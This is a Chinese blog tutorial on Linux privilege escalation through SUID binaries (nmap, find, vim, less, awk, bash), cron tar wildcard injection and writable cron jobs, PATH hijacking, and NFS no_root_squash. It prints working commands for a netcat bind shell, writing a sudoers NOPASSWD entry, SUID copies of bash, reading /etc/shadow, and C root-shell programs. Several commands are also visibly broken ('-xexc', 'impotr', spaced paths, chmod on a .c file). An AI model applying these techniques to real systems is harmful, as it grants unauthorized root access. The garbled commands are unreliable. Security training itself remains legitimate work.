Linux提权

shell分本地shell 和 webshell 有些提权方式只能本地shell使用
常见内核漏洞查找脚本以及利用
环境变量提权

suid

什么是suid

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。大写S有执行权限。
例如**/usr/bin/passwd本身是root权限的文件,但用户在修改密码时需要对这个文件进行改写,如果不设置s权限,用户在修改密码时会显示 Authentication token manipulation error 令牌身份出错。**
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效.。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。所以利用此特性,我们可以通过SUID进行提权操作。

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

命令利用

查找系统上运行的所有SUID可执行文件

find / -perm -4000 -type f -ls
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}\;

linux中的标准输入输出

  • 0 是标准输入,一般是从键盘获得输入
  • 1 是标准输出,一般是输出到屏幕了
  • 2 是标准错误,有时候屏幕上可以看到,但是重定向的文件中看不到的就是它了
  • >为重定向符号

>/dev/null 是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃,俗称“黑洞”

2>/dev/null意思就是把错误输出到“黑洞” ,也就是说如果你的命令出错的话,错误报告直接就删除了。不会显示在屏幕上


-name: 根据文件名查找 区分大小写
-perm:利用权限进制搜索
-type:指定文件类型(l:软连接类型;d:文件夹类型;f:文件类型)
-user: 根据文件属主查询
-group:根据文件属组查询
-mtime:根据文件修改时间查找 -n n天以内修改的文件 +n n天以外修改的文件 n 刚好n天修改的文件
-mmin :同mtime 不过单位是分钟
-size: 根据文件大小查找 -n小于大小为n的文  +n大于大小为n的文件
-print:打印输出。 默认的选项,即打印出找到的结果。
-exec:对搜索到的文件执行特定的操作,固定的格式为:-exec 'commond' {} \;   注意:{} 表示查询的结果。
-ok:  和 -exec 的功能一样,只是每次操作都会给用户提示。 

举例1: 搜索 /etc 目录下的文件(非目录),文件以 conf 结尾,且大于 10k,然后将其删除。
find /etc -type f -name '*.conf' -size +10k -exec rm -f {} \;
举例2: 将 /data/log/ 目录下以 .log 结尾的文件,且更改时间在 7 天以上的删除。
find /data/log -name '*.log' -mtime +7 -exec rm -f \;
举例3: 搜索条件同 例1 一样,但是不删除,只是将其复制到 /root/conf 目录下
find /etc -type f -name '*.conf' -size +10k -exec cp {} /root/conf/ \;

-a:		 与  (默认情况查询条件之间都是 与 的关系)
-o:		 或
-not|!:非
-prune:通常和 -path 一起使用,用于将特定目录排除在搜索条件之外。过滤条件写在其他条件前面。
"-path ./test -prune -o xxxxxx"
举例1:查找当前目录下的所有普通文件,但排除 test目录。
find . -path ./test -prune -o -type f
举例2:  查找当前目录下所有普通文件,但排除 test目录 和 opt目录。
find . -path ./test -prune -o -path ./opt -prune -o -type f  
举例3:  查找当前目录下所有普通文件,但排除 test目录 和 opt目录,但属主为 mama
find . -path ./test -prune -o -path ./opt -prune -o -type f -a -user mama
举例4:  前置条件同例三且文件大小必须大于 500字节
find . -path ./test -prune -o -path ./opt -prune -o -tyep f -a -user mama -a -size +500

nmap

适用版本:nmap2.02至5.21
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式

nmap --interactive 

在nmap交互模式中 通过如下命令提权

nmap> !sh sh-3.2# whoami root 

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap
find

find用来在系统中查找文件,同时还具有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

touch anyfile #必须要有这个文件 
find anyfile -exec whoami \;
#再通过find反弹root shell
find anyfile -xexc netcat -lvp 5555 -e /bin/sh \;
攻击机上使用 nc xx.xx.xx.xx 5555
vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny vim-basic vi 同样使用
进入vim命令行后 !后面加命令
Bash
bash -p 以root身份打开一个bash shell
less/more
!command
!/bin/sh,进入shell

注意:more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano

古老的文本编辑器

nano #进入nano编辑器
Ctrl + R
Ctrl + X 
#即可输入命令
cp

使用cp命令覆盖掉原来的文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

crontab定时任务

什么是cron

Cron Jobs可以在服务器端完成一系列计划任务(设定时间自动执行命令等等),一般它主要用于执行系统管理员任务,例如数据备份或清理缓存目录等等。Cron这个词来源于“crontab”,而这个玩意儿存在于/etc目录中。

比如说,在crontab中,我们添加下列条目来实现每隔一个小时就自动打印出apache的错误日志

1 0 * * * printf "" > /var/log/apache/error_log

一般情况下我们添加计划任务时,都是直接修改/etc/crontab。但是,不建议这样做,/etc/cron.d目录就是为了分项目设置计划任务而创建的。例如增加一项定时的备份任务,我们可以这样处理:在/etc/cron.d目录下新建文件crontabAdd
所以cron执行时会读取三个地方的配置文件:
一是/etc/crontab 二是/etc/cron.d目录下的所有文件 三是每个用户的配置文件

攻击方法

路径解析

如果定时任务参数中的command没有指定绝对路径而是使用的相对路径
系统会默认 /home/user/

tar通配符注入

利用条件:目标定时任务中存在tar文件备份相关脚本
例如:/1 * * * root tar -zcf /var/backups/html.tgz/var/www/html/*
backup命令:cd /home/undead/script;tar czf /tmp/backup.tar.gz *

echo'echo "ignite ALL=(root) NOPASSWD;ALL" > /etc/sudoers' >test.sh
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh 
echo "" > "--checkpoint-action=exec=sh test.sh" 
echo "" > --checkpoint=1
https://www.cnblogs.com/manong–/p/8012324.html linux tar相关命令
可写权限

利用条件:

  • 管理员给定时任务权限分配不当 使得除了root以外的用户能够重写定时文件 如chmod 777 775等
  • 定时任务定期执行某个脚本 该脚本可写或者可供利用
#查看当前计划任务 是否可写
cat /etc/crontab
ls -al /etc/cron.d 

如果发现定时任务是root所属并且可写,尝试重写定时任务

#1
一
vi rootme.c
int main(void){
	setgid(0);
	setuid(0);
	execl("/bin/sh","sh",0);
}
$echo"chown root:root / tmp / rootme; chmod u + s /tmp/rootme;">/定时任务
这将更改可执行文件的所有者和组为root。它还将设置SUID位。
5分钟后,运行了cronjob,并以root特权执行了定时任务。$ ./rootme –生成一个root shell。
二
$echo " cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /定时任务

#2
如果定时任务是执行某个脚本且可以修改该脚本
import os
impotr sys
try:
	os.system('chmod u+s /bin/dash')
except:
	sys.exit()

路径环境变量

例如,如果 C 程序像这样调用系统函数:

#include<unistd.h>
void main()
{
	setuid(0);
	setgid(0);
	system("whoami");
}

可以使用 PATH 环境变量劫持二进制 whoami,如下所示:

cd /tmp
echo "cat /etc/shadow" > whoami
chmod 777 whoami
export PATH=/tmp:$PATH

NFS

如果在服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。
什么是NFS?
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。
NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。
什么是root_sqaush和no_root_sqaush?
Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no__root_squash_ 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。
注意:要利用此,no__root_squash_ 选项得开启。
利用NFS并获取Root Shell
现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件,即nfs配置文件。
/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。
这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:
[共享的目录] [主机名或IP(参数,参数)]
其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squash,no_delay
当主机名或IP地址为空时,则代表共享给任意客户机提供服务。
当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]
image.png
我们可以看到**_/ tmp _**文件夹是可共享的,远程用户可以挂载它。
还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash
同样我们也可以使用 showmount命令来查看。

showmount命令用于查询NFS服务器的相关信息
# showmount --help
 Usage: showmount [-adehv]
        [--all] [--directories] [--exports]
        [--no-headers] [--help] [--version] [host]
-a或--all
    以 host:dir 这样的格式来显示客户主机名和挂载点目录。
 -d或--directories
    仅显示被客户挂载的目录名。
 -e或--exports
    显示NFS服务器的输出清单。
 -h或--help
    显示帮助信息。
 -v或--version
    显示版本信。
 --no-headers
    禁止输出描述头部信息。

显示NFS客户端信息
 # showmount

显示指定NFS服务器连接NFS客户端的信息
 # showmount 192.168.1.1  #此ip为nfs服务器的

显示输出目录列表
 # showmount -e

显示指定NFS服务器输出目录列表(也称为共享目录列表)
 # showmount -e 192.168.1.1

显示被挂载的共享目录
 # showmount -d

显示客户端信息和共享目录
 # showmount -a

显示指定NFS服务器的客户端信息和共享目录
# showmount -a 192.168.1.1

我们接下来在我们的攻击机上安装客户端工具
需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包

sudo apt install nfs-common
apt-get install cifs-utils

然后输入命令
showmount -e [IP地址]
image.png
创建目录以挂载远程系统。
mkdir / tmp / test
在/tmp/test上装载Remote/tmp文件夹:
mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test
image.png
然后在/tmp/test/中。新建一个c文件。

#include <stdio.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <unistd.h> 
int main() { setuid(0); system("/bin/bash"); return 0; }
也可以
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c

编译:
gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel
赋权:
chmod + s /tmp/test/suid-shell.c
image.png
好的,我们回到要提权的服务器上
cd / tmp ./suid-shell
image.png
可以看到是ROOT权限了

LD_PRELOAD
某211硕在读,三分之一的白帽子,三分之一的科研er,这里适合想要学习安全的小白师傅,适合致力于挖掘漏洞的师傅,适合安全研究人员师傅,以及想要做安全科研的师傅,想要了解网络空间安全研究生生活的师傅
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅苑安全&学术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值